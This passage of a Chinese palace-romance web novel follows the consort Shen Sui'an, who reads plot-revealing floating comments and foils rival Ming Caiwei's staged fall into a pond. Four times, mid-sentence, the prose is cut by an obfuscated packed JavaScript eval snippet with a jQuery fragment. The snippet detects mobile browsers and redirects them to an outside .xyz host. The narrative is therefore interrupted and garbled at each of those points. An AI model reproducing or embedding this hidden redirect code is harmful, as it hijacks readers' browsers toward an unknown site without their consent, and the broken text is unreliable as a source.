她理了理思绪,想要把沈岁安这种想法纠正回来: “也不全是如此,男人有时候……就喜欢主动的。” “而且,倘若美人遇上陛下兴致不高或者不便时,多主动些也无不可。” 沈岁安表示受教。 最后临走时,沈岁安看辛嬷嬷有些犹豫不决,还以为是自己又做错了什么,道:“嬷嬷,我刚刚可有何做的不好?” 她刚刚应该没出什么错,这段时间可是严格按照母亲说的来做,从没有睡到过日上三竿,每日辰时起亥时歇,连零嘴都戒了不少。 好在母亲说只是这段时间装装样子,应付过去就好,到了宫中关起门来爱则么样怎么样。 辛嬷嬷轻咳,随即神神秘秘地从怀中掏出一本书塞进沈岁安怀中。 “这个沈美人晚上自己看就好,但切记不可带入宫中,老奴就先告退了。” 辛嬷嬷走后,沈岁安才拿出刚刚那本书,之间上面写了四个大字“房中秘术”。 沈岁安:…… 春花不知从哪里凑了过来,看到了封面的大字。 “小姐,你你你……居然偷偷看这种书。” 春花张着大嘴,有些语无伦次,像是真的被惊到了。 想再说些什么,沈岁安眼疾手快的捂住了她的嘴: “好春花,你想要干什么?” 沈岁安压制着春花,皮笑肉不笑。 别以为她不知道春花在想什么,比这个更刺激的她都和春花看过,不至于反应如此大。 果不其然,春花下一句便是: “好东西自是要一起分享的。” “好”,沈岁安点头,爽快的答应下来。 夜半,二人同榻而眠,一如往昔般,拿到什么新出的话本或者禁书时都会一同品鉴,甚至还会因为哪个男主更好而产生分歧。 …… 这边一派岁月静好,皇宫却仍是一片冷肃,丝毫没有新妃即将进宫的喜气。 苏成递过去了由内侍省递上的新妃宫殿如何分配的名单请慕春杳过目。 慕春杳看去,到明采薇的名字时停顿了下。 苏成很有眼色道:“陛下,这明修媛有什么问题吗?” 慕春杳想到了选秀时贤妃的话,意味深长道: “贤妃和明修媛不是多年未见想的紧吗?想来是有很多话要聊,那就给她换到含象殿偏殿,和贤妃作伴去。” 贤妃住在含象殿的主殿,明修媛作为正二品的修媛,按规矩也应有自己的宫殿,把人弄到一起,像什么话? 苏成笑的有些勉强,慕春杳这明显就是看热闹不嫌事大。 “陛下,这于礼不合。” “朕的天下,朕的后宫,朕就是最大的规矩。” 苏成很是识趣,最擅长的就是闭嘴。 “还有德妃”,即便宫中人都知道陛下和太后的关系不好,可好歹也是四妃之一,总不好厚此薄彼,这事只有慕春杳能干。 慕春杳也在思索德妃的去处,既是要立起来牵制贤妃的,就不能如明修媛般随便打发。 “宫中地图拿过来。” 苏成揣摩着圣意,小心道:“陛下,据说含冰殿风水不太好,德妃娘娘娇贵,怕是住不得那等地方。” 慕春杳眉头轻佻,来了兴致:“为何?” “听说以前孝宗的好几个妃子都是在含冰殿病逝,直到孝宗的慧妃病逝后,含冰殿被封,此后再没人住过。” 慕春杳思索着,问道:“知道此事的人有多少?” “不多,都是宫中的老人。” “这哪里是什么不详之地,朕看,这就是一块儿风水宝地。” 而且,他才发现,含冰殿与含象殿呈天然对立方向,什么意思不言而喻。 “就含冰殿吧。” 苏成立马懂了慕春杳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178195|180822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的暗示,他赔笑:“是是是,宫中哪里有什么腌臜地方,这含冰殿分明就是孝宗最宠爱的慧妃住所。” 慕春杳这才满意。 他接着往下看,很快,就看到了沈岁安的住所。 沈岁安只是一个四品美人,但因家世太好,内侍省那帮看人下菜碟的东西,给她安排的是仅次于贤妃的承香阁。 原本没有什么问题,可慕春杳想到的确是另外的事。 他曾答应过丞相,要让沈岁安睡的舒服,宫中的床任她挑。 于是便随口一问:“宫中哪个宫殿的床又大又舒服?” 苏成不敢相信自己刚刚听到了什么,陛下平日里都是整人,怎么现在开始关心人了,上来就是床舒不舒服的问题。 慕春杳也后知后觉的反应过来自己的话有些歧义,改口道:“朕的意思是,哪个宫殿的床最好?” 算了,越描越黑,慕春杳想。 苏成摆出一副“我懂,我懂”的样子,正色道: “宫中要论最舒服的宫殿,除陛下的紫宸殿外就要属蓬莱殿了。” 蓬莱殿冬暖夏凉,基本上是历代宠妃的聚集地。 “让沈美人住过去。” 苏成一惊,为何说蓬莱殿特殊,不就是因为蓬莱殿无偏殿,只有一个主殿占据蓬莱殿的全部吗? 试问有谁愿意分享自己的住所? 可沈岁安只是一个美人位份,苏成又有些拿不定主意,因为陛下对这位沈美人的态度委实有些奇怪,说关心也算关心,甚至沈美人在陛下这里能算是一种“特殊”,但要说特别上心的话,又为何只封了个美人? “陛下,这沈美人住在这怕是会招人嫉妒。” 苏成故意咬重了美人二字,希望眼前的帝王能够重视起来。 慕春杳难得有耐心解释: “宫中能有正二品修媛住偏殿,自然就可以有正四品美人住在主殿,明白了吗?” 苏成咋舌,这宫中,以后怕是会很热闹。 …… 八月初,新妃入宫。 原本以沈岁安的品阶只能带两人入宫,但因着今年后宫宫女太监紧缺,故而特许每人多带两个进宫。 不能不说,这是个聪明的办法,即极大的节省了宫内的开支,又让不明所以的新妃们觉得陛下很近人情,知道自己可能会不习惯,故而可以从家带。 沈岁安带了春花、秋月、惊鹊、听夏四人。 其中,春花擅医,秋月擅算,惊鹊擅谋,听夏善厨。 春花秋月不必说,是伴着沈岁安长大的,惊鹊是沈夫人身边的大丫头,这么多年跟在夫人身边打理府中中篑,耳濡目染,甚至比一般官宦人家的小姐还要强些。 临走前,沈岁安不再顾念礼数,含泪拜别沈家众人。 沈夫人轻柔的擦去沈岁安眼角的泪: “别哭,这也算是娘送你出嫁。” 沈云泽堂堂八尺男儿也哭成了泪人:“妹妹,哥哥一定努力考取功名,在朝堂上给你撑腰。” 相比之下,沈平川与沈文进就显得冷静了些,但观其紧握的手,也能看出一二,不过是在强撑。 沈文进上前摸了摸沈岁安的头:“岁岁,到了宫中遇事不要害怕,万事有祖父,就算是天塌下来,也有祖父在前面顶着。” 沈岁安感动的看着众人,既然全家都这样努力,那她还有什么理由不能安心躺平? 11. 算计 沈岁安入宫后的第一个月。 风平浪静。 就在众人都以为后宫要热闹起来时,江南发生了水患,大坝决堤,据说死了不少人。 陛下知道后震怒,在派人赈灾的同时又下令让工部严查大坝决堤的原因,据说勤政殿的烛火已经连着半个月没熄过,甚至不少官员都住在了皇宫里随时等待着被传召。 其实往年江南都会泛水,今年只是雨大了些,一开始并不严重,最致命的是大坝决堤,水库中的水喷涌而出,淹了下游不少村庄,几百亩良田被毁,农民辛苦一季都白白忙活。 灾后还易出现瘟疫,百姓活不下去就会发生暴乱,这让慕春杳很是恼火。 这种情况下,再没人去关心陛下为什么不去临幸新进宫的妃子,相反,他去临幸才会遭到言官们的弹劾,说他只知享乐,不知民生疾苦。 这就导致后宫没有人敢去触慕春杳的霉头,德、贤二妃即便有再多的手段也无处施展,明采薇有再多的不满也得忍着。 沈岁安原本以为“美人”的位份彰显了慕春杳对自己的不满,已经做好了随时被找麻烦的准备,可她也很快发现,慕春杳根本没空理会任何人。 这样一对比,沈岁安倒成了宫中最清闲的人。 一来沈岁安家世好,二来即便沈岁安只是个美人,却由陛下亲自点进了蓬莱殿,仅凭这两条就让宫人不敢怠慢,每日都是好吃好喝的伺候着。 再加上宫中无皇后,宫权旁落,太后为皇帝所不喜,沈岁安不用每日早起请安,是以真的像是祖父先前说的那样,她可以在自己宫中睡到日上三竿,保证不会有人来打扰她。 沈岁安从天上字中得知,它们有名字,叫做“弹幕”。 她虽忧心上次弹幕所说的“抄家”,可她也知不可操之过急,上面说出多少全凭机缘。 于是,沈岁每天的乐趣就变成了,睡睡觉,品品茶,然后听弹幕讲故事。 这边一派岁月静好,可含象殿一边却是暗波流动。 “哗啦——” 伴随着一声清脆的响声,名贵的茶杯在明采薇的脚边摔碎,溅起的茶沫落在了宫装上,可她却连躲闪都不能,硬生生的受了。 “明采薇,成了修媛翅膀硬了?你这一副怨怼的给谁看?” 其实论“忍”字,明修媛出身卑微,来京城后是个世家女都能踩她一脚,她都能笑脸相迎,当做什么都没发生过,可见其性子。 但身处不同位置人的思想也是会变的,明修媛又不是面团捏的,面对这样大的羞辱自是不可能心中一点怨气也无。 贤妃看着眼前这个面服心不服的“好友”,不由得嘲讽一笑: “怎么,不服?看来是跟本宫住在一个宫殿是委屈你了。” “不敢。” 明采薇低眉,掩去了眼中的不甘。 可贤妃不打算这样放过她,越发轻蔑的看着面前跪着的人,修媛又如何,别说是她,就连明家在她凌氏面前都得加紧尾巴做人。 “看来是这个正二品的位置把你的心养大了,你不会真的以为你是凭着自己上位的吧?要是没有本宫帮衬,你现在的结局应该是被你那个爹随便一顶小轿发配去给别人做续弦。” “妾知错,请娘娘责罚。” 看着明修媛着低眉顺眼的模样,贤妃心中郁气消了很多,她也知道用人不可一味打压的道理,许多事情点到为止。 贤妃笑笑,上前温柔扶起明采薇,面上完全没有了方才的嘲讽。 “你也别怪本宫心狠,要怪就怪那沈岁安抢了你原本的宫殿,才让你落入这等难堪的境地。” “本宫向你保证,只要你把那沈岁安除掉,蓬莱殿就是你的。” 明采薇明知道这是贤妃在利用自己试试沈岁安的底,但是还是忍不住心动了。 凭什么她要在贤妃宫中受尽磋磨,而她沈岁安却可以在最好的宫殿中享福。 人好像总是这样贪心不足,没有对比时觉得自己过的还不错,有了对比时就觉得自己过的不尽人意,便要想办法将幸福的一方也拉进泥潭,不得脱身。 看见明采薇轻易的被勾起情绪,贤妃心中满意的点头。 底下人手有时不必太过聪慧,好用听话就行。 明采薇好歹也是个修媛,宫中想往上爬的宫女很多,于是很快就打听出来了沈岁安近来的行踪。 拿到那张纸条时,明采薇不由得沉默了下。 沈岁安几乎可谓是天天守在宫中,并不出去走动。 蓬莱殿临水,唯一的破绽可能便是沈岁安每隔几日晚上都会去那边转转。 不久,计上心头。 明采薇这边打探沈岁安行踪的消息很快便被苏成呈到了御案上,上次之后,宫中的人被大肆清理了一遍,慕春杳也借机安排了很多眼线遍布后宫,一旦有什么风吹草动,他都能第一时间知道。 这两天水患渐平,慕春杳也终于有了时间来收拾后宫,看到这一个月来无事发生后眉头轻挑,半晌,意味不明地道: “她们倒是谨慎。” 苏成看着自家陛下这幅没事就唯恐天下不乱的模样,心中哀叹,想起陛下对沈岁安的特别,还是道: “那沈美人那边?” “没出人命的情况下都不用插手,让咱们的人盯紧点。” 实在是因为慕春杳其实打心眼里觉得沈岁安没看上去那么简单,既躲过了他的暗卫,又躲过了太后的算计,一两次是巧合,三次四次呢?慕春杳可不信她次次都运气好。 “正好,让朕看看她们的本事。” …… 此刻,什么都不知道的沈岁安还在殿中由着春花为自己涂抹蔻丹,秋月在一旁禀告着蓬莱殿这一月的用度。 秋月看着这个月的支出,深吸了一口气: “小主这个月请了教坊司的舞娘六次,却花了近一百五十两。” 沈岁安有些为难:“那么多美人娘子辛辛苦苦跳舞哄我开心,我当然要赏赐一些下去。” 秋月接着道:“小主不满膳房吃食,便自己点菜,蟹肉点了八次,茯苓糕五次,黄焖鱼翅三次,樱桃肉两次……” “共计一百两。” 每个品阶都有自己规定范围内的用度,包括每日膳食,可这个规矩是相对的,只要出钱,在不违制的前提下,膳房什么都能做。 “这不是美人的饭都太寡淡吗?” 沈岁安不好意思的低头。 “小主,这个月的流水总计四百两。” 按理来说,美人每月的俸禄只有二百两,现在已经远远超出了预期,多出的部分都要从沈岁安的私库里掏。 “小主。” 看着秋月一脸幽怨的看着自己,沈岁安莫名有些心虚。 “好了,我下个月会注意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178196|180822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。” 秋月一叹。 倒也不是说她不愿意让沈岁安花钱,这钱就算放着不动也跟她没有半毛钱关系。 实在是因为这只是第一个月宫中风平浪静,以后需要用钱上下打点疏通关系的事还会有很多。 “小主心中有数就好。” 因为沈岁安只是隔几日才会出来一次,明采薇苦于找不到机会,只得自己日日晚上往蓬莱殿旁的池塘跑。 这下让蓬莱殿的宫女们都感到不对。 “你是说明修媛最近天天在我宫门口的池塘转悠?” 来通报的是原本就在蓬莱殿的一个小宫女,名叫罗织。 她下意识的抬头看去,果不其然,弹幕再一次出现在她眼前。 【又到小炮灰的剧情了?】 【应该是明修媛诬告沈岁安害她落水那块】 【那小炮灰自求多福吧很快就没有这么舒服的宫殿了】 【话说你们有没有觉得小炮灰的剧情有点多】 【前面的,还好吧,这不都是书上写的吗?】 …… 罗织等了半天也没见沈岁安动。 惊鹊看着自家主子一副神游天外的模样: “小主?” 沈岁安回神,飘过的文字密密麻麻,她花了很大功夫才找到自己想要的,看着这个来报信的宫女道: “罗织是吧,本小主记住你了,做的很好,这个月的月例翻倍。” 罗织心满意足的退下,对这个平日事不多,出手也大方的主子愈发喜爱,她们做奴婢的,不就是想得到主子的重用,为自己的以后多攒些银钱吗? 屋内,此时只剩下了沈岁安,春花和惊鹊。 “惊鹊,你说明修媛为何要在我宫前转悠?” 惊鹊想了想道:“修媛应是想对主子下手,可主子一向闭门不出,唯一去的地方就是蓬莱殿门前的池塘。” “如果是要对主子下手的话,落水最有可能。” 沈岁安抿了一小口茶,为了不引起“弹幕”的警惕,她不动声色的继续道: “那你觉得她是想把我推下水,还是她自己跳下去诬陷是我推的?” 惊鹊思索:“前者如果没有把握一击致命的话,对修媛没有多大好处,反而自己捞得一身腥。” “后者反而是最有利的。” 沈岁安来了兴致:“怎么说?” 惊鹊将想法娓娓道来:“首先要明确明修媛的目的,主子进宫后从未树敌,唯一有争议的便是住所问题。” “主子……只是个美人,都可以独居一宫,可明修媛却要委身在贤妃的偏殿中。她的住处是陛下亲定,轻易不可更改,但……” “但如果我这个占了便宜的美人推了她下水,就会引起陛下对她的愧疚,她再顺势提出要跟我换宫殿,想来陛下也没有拒绝的理由。” 沈岁安补上后面的内容。 说着,她脑中闪过慕春杳的面容,不禁有些怀疑,那真的是个会有愧疚的主吗? “走吧,出去看看。” 春花拦住沈岁安,她并不想让自家小主陷入危险境地: “小主为什么明知是场阴谋还要出去以身犯险?” 沈岁安正色道:“就算我今日躲过去,只要她害我的心思还没消,就一定再会找机会下手,与其被动的见招拆招,何不把主动权交到我手中?” 12. 初次交锋 沈岁安到时,明采薇刚好转完一圈。 就在她以为今日又要一无所获时,转头就看到了沈岁安,眼中闪过一抹精光。 “妾身拜见明修媛”,沈岁安弯腰行了个万福利。 看到曾经她要仰望的人如今在向自己行礼,明采薇心中感到快意,全然忘了几日前在贤妃面前谨小慎微,伏小做低的模样。 她上前虚扶了一把:“妹妹免礼。” “娘娘好像很喜欢妾身宫门前的池塘。” 沈岁安垂眸,似是在看着池塘出神。 “是很喜欢,不过,很快就不是你的了。” 明采薇恶狠狠的盯着沈岁安,而后不知看到了什么,立马换上一副委屈模样。 沈岁安突然心有所感的稍微侧过身去,果不其然,余光瞥见一片玄色衣角。 下一瞬,明采薇跌落湖中,沈岁安作势就要去拉住她,却在触碰到她手的同时复又推开,二人一触即分。 从苏成的角度看就像是沈美人失手将明修媛推开后想去拉她又没拉稳。 几息之间,一向沉稳不将任何事看在眼里的慕春杳就闪到了沈岁安身边,大手扣在她的腰上,稳稳的接住了她。 “没事吧。” 男人灼热的呼吸喷洒在沈岁安耳边,她抬头望向慕春杳,像是没有想到他竟会来接住她。 一旁明修媛的婢女犀儿对眼前这一幕目瞪口呆,自家主子还在下面,陛下竟然先去接沈美人。 很快,她便反应过来,开始高喊:“来人啊,明修媛落水了,谁来救救修媛——” 明采薇也一直在扑腾着呼救。 可却无一人理会,岸上沈岁安的人自是不想救,慕春杳的人没得到命令也不会下水。 呼救声拉回了沈岁安的神志。 她旋身挣脱开慕春杳,随即拜服下去:“多谢陛下关心,妾身无事,还请陛下下令先救明修媛。” 慕春杳将手收回衣袖,手指不自觉的慢慢摩挲,那上面似乎还残存着少女的体温。 他冷眼看着池塘里的明采薇:“别喊了。” 这一声没有带任何情绪,但那扑面而来的压迫感还是让明采薇闭了嘴。 冷静下来后,半晌,她尴尬的站起,才发觉池塘中的水堪堪淹过她的腰间。 “还不把你家娘娘扶上来?” 苏成出言提醒一旁同样愣住的犀儿。 这水,竟然…… 沈岁安也很震惊,可能是因为一直以来她出来的时间都是傍晚,从来没有注意过这水的深度,如今看来,倒也不是不可利用一番。 不管怎么样,这出戏还是要唱下去。 明采薇出来后,径直跪在了慕春杳面前: “是沈美人推臣妾下水,请陛下为臣妾做主。” 明采薇能通过礼部擢选进宫,肯定也是个标志的美人,这会也不知是刚刚眼睛进水了还是真的眼泪,双眼红通通的看着慕春杳,倒真有几分我见犹怜的感觉。 可惜,慕春杳不懂的怜香惜玉,他只会看戏。 “把你家主子带下去换身衣裳。” 慕春杳开口,明采薇还想再说些什么,可对上慕春杳那双似乎已经洞悉一切的眼神,还是任由下人带自己下去。 这里离蓬莱殿最近,总不能让明采薇就这样走回自己的宫,沈岁安很大方的表示愿意把宫殿让出来供明采薇换身衣裳。 可惜明采薇不但没有感激,反而在看过蓬莱殿内的环境后愈发把这里当做自己的囊中之物。 一刻钟后,后宫众人闻风而来,她们也没有想过入宫后见到陛下的第一面居然是在此等情景下,时间虽紧迫,可众人一看还是打扮过的。 德妃见明采薇已经整理好出来,开口道:“不知发生了何事,听说是沈妹妹推了明修媛一把?” 话中一个是妹妹,一个是修媛,看似分了远近,实则已经将沈岁安的罪名落实。 慕春杳悠悠的开口:“朕也不知,还是问问当事人吧。” 苏成在一旁,感觉陛下的演技又精湛了几分。 半个时辰前,勤政殿—— “陛下,沈美人现下应该已经知道明修媛在蓬莱殿外的事了。” 罗织并不是慕春杳的人,可却是经过其他人在侧“提点”后才将消息递进去。 慕春杳放下批奏折的玉笔,笑的有些恶劣:“你说,朕要是现在过去,亲眼目睹这一场戏,会不会给这戏添一把火。” 苏成:您想看戏就直说。 他斟酌了一下语言,道:“但凭陛下心意。” …… 明采薇的眼泪似是取之不尽,用之不竭一般,再度席卷而来。 “陛下,臣妾偶然听说蓬莱殿周边的景致很好,就想着来转转。” “谁知……” 明采薇停顿,似有些难以启齿。 贤妃沉声道:“谁知什么,明修媛尽管说,本宫会请陛下为你做主。” 明采薇不动声色的看了犀儿一眼,犀儿接道: “奴婢听沈美人说…说这蓬莱殿是她的,哪怕是周边的东西,我家娘娘也不配看。即便贵为修媛,也只配…住在贤妃娘娘的偏殿。” 明采薇抿唇,努力不让泪继续流。 类似的传言旁的妃子也听过,这会儿拿到明面上来说,都忍不住流出几分同情。 有了前面的铺垫,后面就好说多了,犀儿继续道: “我们家娘娘气不过,却也无可奈何,本不想要计较,可准备回去时沈美人突然拽住娘娘,将娘娘推下水。” 贤妃听后,也确如先前所说,要为她讨回公道: “陛下,事情已经明了,沈美人不敬上位,恃宠而骄,恳请陛下严惩,以儆效尤。” 【这证词明显有漏洞啊】 这次弹幕不再在上面,反而在沈岁安眼前,第一句话就让沈岁安打起十二分的精神。 【前面的,怎么说?】 【首先,明修媛说是偶然发现蓬莱殿景致好,可她明明已经连着好几天在那里】 【其次,小炮灰为什么要推明修媛下水,那水那么浅,能淹死个谁,推她下去是想让她凉快凉快吗】 【最后,这狗皇帝明明什么都知道,还在这里装傻,要是男主在的话,肯定不会这般】 …… 沈岁安看到最后一句,猛然抬头看向上首的男子,却不想直接对上了慕春杳的视线。 “沈美人,是有话说?” 沈岁安定了定道:“陛下,妾身确有话说。” 慕春杳颔首。 “刑部审犯人时都知道不能只听一面之词,贤妃娘娘仅凭一个宫女的话就断定是我,是否有失公允。” “更何况这宫女还是明修媛贴身大宫女,供词自然会向着她。” “牙尖嘴利。”贤妃讽道。 “朕倒觉得,沈美人说的有道理。” 后面不知是谁笑了出来,贤妃还是第一次被人这样拆台,面上有些挂不住。 “按照刚刚沈美人所说,明修媛的宫女不算证人,那沈美人的自然也不算,难道沈美人还有什么其他证人可以证明你是清白的?” “没有。” 沈岁安回答的坦荡,叫人有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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慕春杳其实很意外唐霄然会站出来,因为她给他的印象着实不是一个爱管闲事的人,到底还是顺着她的话说了:“真相为何?” “修媛娘娘确是不小心失足落水。” 话中既解了沈岁安的嫌疑又给明修媛留了面子,没有直接说出她就是故意跳下去的,也难怪短短几年就爬到了正五品尚仪的位置。 说罢,不再管众人如何想,起身告辞,甚至看都没看沈岁安一眼,就好像真的是来陈述一件事实,让众人不得不信。 “看来明修媛对朕的安排很是不满意,居然还用上了碰瓷这种方法迁宫?” 慕春杳明明再说明采薇,可看向的却是贤妃,眸底一片清冷。 虽然整个事情都与她无关,可贤妃还是心虚地低下了头。 明修媛还想解释,她也不知道为何突然冒出来个唐姑姑坏了她的事,慕春杳没再给她机会: “既然这样喜欢在宫中转悠,那朕就罚你连着一个月在宫中守夜,禁卫巡到哪你便跟到哪,给朕好好看看皇宫。” 这样的惩罚闻所未闻,让一众新妃再次见识到了这人的恶劣。 临走时,慕春杳深深的看了沈岁安一眼,低声说了些什么,从旁人的角度看还以为是慕春杳在安慰沈岁安,于是沈岁安便收获了无数眼刀。 苏成紧紧跟着慕春杳却是听清了那句话: “你倒是处处给朕惊喜,希望下一次,你还能这般化险为夷。” 13. 女主 众人见明修媛第一次和沈美人交锋就惨败,幸灾乐祸的同时又对沈岁安多了几分忌惮,一是出于对沈岁安的顾忌,大家觉得她有些邪乎,好像自选秀开始到现在,算计她的人最终都会自食恶果。 二是上次在蓬莱殿大家看到了慕春杳对沈岁安的态度,在没有一击毙命的把握下,谁也不想让沈岁安在陛下面前反复露脸。 以至于在接下来的一段时间内,宫中各嫔妃经常发生一些小摩擦时会避开她,德、贤二妃明里暗里争夺宫权时也没再拿她当筏子。 沈岁安倒是不知这些,即便知道也会一笑置之。 让慕春杳记不起来她? 那她可求之不得!她是真的不想再去招惹那个煞星。 就这样,再加上沈岁安本身就不爱出门,蓬莱殿像是被所有人遗忘在脑后,俨然成为了宫中的一处世外桃源。 倒也不是所有人都遗忘了,殿内,沈岁安正在发呆,宋美人一声娇滴滴的“沈姐姐”让她回过神来。 宋美人是吏部侍郎之女,闺名佳慧,年十四,比沈岁安还要小两岁。因此,即便是两人平级,宋佳慧还是叫了沈岁安姐姐。 她身着杏黄色襦裙,长着一双湿漉漉的大眼睛,忽闪忽闪时显得灵动可爱,樱桃小嘴分外动人,是个典型的娇憨型美人。 宋佳慧挽起沈岁安的胳膊,亲昵的坐到了她的身边。 对于宋佳慧的亲近,沈岁安一开始也持怀疑态度。 实在是因为,自她进宫后,就没碰上一个好人。 可沈岁安很快便打消了疑虑。 世上总没有无缘无故的好,人们聚在一起也大多是为了利益。 宋佳慧的父亲任吏部侍郎,是自己父亲的直系下属,她在宫中又孤立无援,二人便是天然的同盟。 最让沈岁安满意的是,这个宋美人做饭实在是—— 太好吃了! “今日给沈姐姐带了一只翠玉芙蓉鸭,一份百花酿豆腐,还有一份冰酥酪。” 一道道色香味俱全的美食摆上桌来,令原本因夏季炎热而食欲不振的沈岁安胃口大开,饭都多用了几碗。 “你是怎么会这么多样式的?”沈岁安疑惑。 自从宋美人和自己交好,小半个月来,每日的菜都没有重样过,大大满足了沈岁安的味蕾。 宋美人早已用完,此刻正用手肘撑着下巴惬意的看着沈岁安用饭,她很喜欢别人能够享受自己做的美食。 “嫔妾未进宫前便喜欢在家研究这些。” 说起这个,宋美人可来劲了,话都滔滔不绝:“家中也很支持嫔妾的爱好,甚至专门造了个专属于嫔妾的小厨房给嫔妾用。” 看得出来,宋美人进宫之前在家中也很受宠。 “沈姐姐,嫔妾做的味道如何?” 宋美人将脸凑到沈岁安面前,用亮晶晶的眼睛望着沈岁安。 沈岁安也毫不吝啬的夸奖,一道道认真评价过去:“翠玉芙蓉鸭肥瘦相间,余香满口;百花酿豆腐软滑弹嫩,入口即化;还有这份冰酥酪,清凉解暑。” “论厨艺,尚食局的女官可能都比不上你。” 被夸赞的宋美人眼底的笑意又多了几分,但不知想到了什么,忽然间有些伤感。 沈岁安察觉到了气氛不对,宋佳慧的心情好像突然有些低迷,以为她是身子不舒服,不由关切问道:“怎么了?是哪里不舒服吗?” 宋佳慧摇头:“嫔妾只是突然想到了以前那样努力,就是想要进宫考进尚食局,学到天下间最顶尖的厨艺,如今这宫是进了……” 离初衷却差了十万八千里。 沈岁安读懂了宋佳慧的未尽之意,轻抚着她的肩,柔声安慰道: “没关系,至少还有我能欣赏你的好厨艺。” 宋美人点头。 其实她接近沈岁安的理由很简单,没有沈岁安想象中的复杂。 她想要旁人可以欣赏她的厨艺,喜欢别人对她的认可,可惜宫中娘娘都不是重口腹之欲的人。 经过一个月的观察,唯有蓬莱殿这边往膳房使银子使的勤。 这说明什么,说明沈岁安不满膳房做的饭。 只可惜她一直没机会可以接近到沈岁安,直到上次明修媛落水后才有机会。 她以与沈岁安一见如故的理由死乞白赖的赖在蓬莱殿不走,沈岁安拿她没办法才任由她接近。 沈岁安也没有让她失望,她果然找到了知音。 正聊着,沈岁安突然打了一个饱嗝。 沈岁安虽然平时不拘小节,可在外人面前失礼还是头一回,面上有些羞嗤。 宋美人表示理解,之前宋府众人吃了她做的饭也是这般反应。 她抬头望向窗外:“今日阳光正好,妹妹陪沈姐姐出去转转?” 沈岁安本想拒绝,可又想起弹幕似乎已经好长时间没有出现过,想着出去碰碰运气,便一口答应了下来。 前段时间,弹幕经常会出现在她的眼前,根据弹幕所述,沈岁安拼拼凑凑,了解到了这本书的男主竟是当今陛下的弟弟,太后的亲生儿子——如今的庆王。 而女主则是慕春杳的某个妃嫔,也是这次进宫的,至于是谁,弹幕上一直没明确的说,只用了“女主”二字代替。沈岁安觉得很大的可能是德妃,毕竟,表兄妹什么的,最容易生出感情。 即便不是表兄妹,叔嫂文学也同样令人震惊。 至于慕春杳,和她一样,是个炮灰。 没错,沈岁安大概琢磨透了炮灰是个什么意思,就是死的早,全程都在为主角服务。 而且,通常死得应该还挺冤。 甚至沈岁安都有些可怜慕春杳,这样一来慕春杳不但皇位被夺,就连媳妇儿也被抢了。 于是沈岁安再看见慕春杳时,只觉得他头上那神圣的帝冕变成了一顶绿油油的帽子。 遗憾的是,自从选秀那天过后弹幕再也没有提到过沈家会被抄家一事。 沈岁安觉得,应该是还没到剧情,每次只有在重要节点时,弹幕才会说出一些有用的信息。 …… 初秋时节,虽已至九月,御花园的花依旧在争奇斗艳,各有千秋。 沈岁安表示很喜欢,如果没有头顶那个大太阳的话就更好了。 这也是她进宫后第一次羡艳那些高位妃嫔,因为她们出门可以做轿撵。 沈岁安很多次中途想要退出回宫,可看宋美人兴致勃勃的样子,沈岁安又不好意思扫了她的兴。 毕竟,不管宋美人是出于什么理由接近她,总归是连着给她做了半个月的午饭,每道菜都能看出她的用心。 突然,宋美人脚步一顿,随后眉心微皱。 沈岁安跟随着她的目光定睛看去,只见一位身穿月白色宫衣,外披一层轻纱的清秀佳人站在那边。 “那是?” “安才人。” 宋美人答道,语气毫无波澜,可沈岁安愣是听出了一丝不屑。 安才人?沈岁安花了很大的功夫才想起来这一号人。 她就是那位因父亲赈灾有功而被破格纳入宫中的皇商之女。 宋家世代清贵,别看现如今的宋家家主官职没她父亲高,但论底蕴,沈家绝对不及宋家。 沈氏是本朝才开始被重用,因为曾出了包括祖父在内的两个丞相,一位大将军,最次的子弟也在六部均有任职,沈家声望才达到如今这般。 而宋家的历史则可以追溯到前朝开国时,有数百年的底蕴。 而俗话说士农工商,即便是贵为皇商,除去那些家财也不过是最底层。 也难怪宋美人会看不上安才人。 许是她们停留了太久,久到安才人已经发现了她们的身影。 她踱步过来,向二人行了一个不怎么标准的礼: “才人安氏,请沈美人、宋美人安。” 见宋美人没有说话的意思,沈岁安点头对安才人示意: “起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178198|180822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来吧。” 本不想过多纠缠,二人正准备抬脚离开时,沈岁安又看到了久违的弹幕,这次的弹幕更是多的过分,沈岁安满眼都是: 【女主宝宝出场了,好可爱!】 